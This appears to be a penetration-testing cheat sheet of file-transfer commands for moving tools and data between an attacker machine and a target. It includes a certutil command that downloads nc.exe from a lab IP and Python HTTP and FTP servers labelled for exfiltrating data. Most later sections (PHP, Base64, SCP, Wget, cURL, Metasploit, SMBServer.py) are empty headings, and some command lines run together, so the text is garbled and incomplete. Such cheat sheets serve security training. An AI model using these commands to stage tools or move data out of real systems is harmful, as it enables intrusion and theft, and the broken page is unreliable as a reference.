File Transfer - Quick Commands
Certutil (Windows)
Certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txtcertutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exePython
HTTP
# Python3 Opens port 80 as an http server to exfil data
$ python3 -m http.server 80
# Python2
$ python -m SimpleHTTPServer 80FTP
# Attacker machine
# Python2
$ python -m pyftpdlib 21
# Python3
$ python3 -m pyftpdlib -p 21 --write
PHP
Base64

SCP (Requires SSH Access)
To use Secure Copy (SCP)
To use scp with an ssh access key:
To transfer a directory:
Wget (Linux)
Downloading a file and saving it with a specific name:
Resuming a download:
Downloading multiple files:
Downloading in the Background:
Adjusting Speed Limit:
Additional Options
cURL

Metasploit
SMBServer.py


Validating File Transfers

Last updated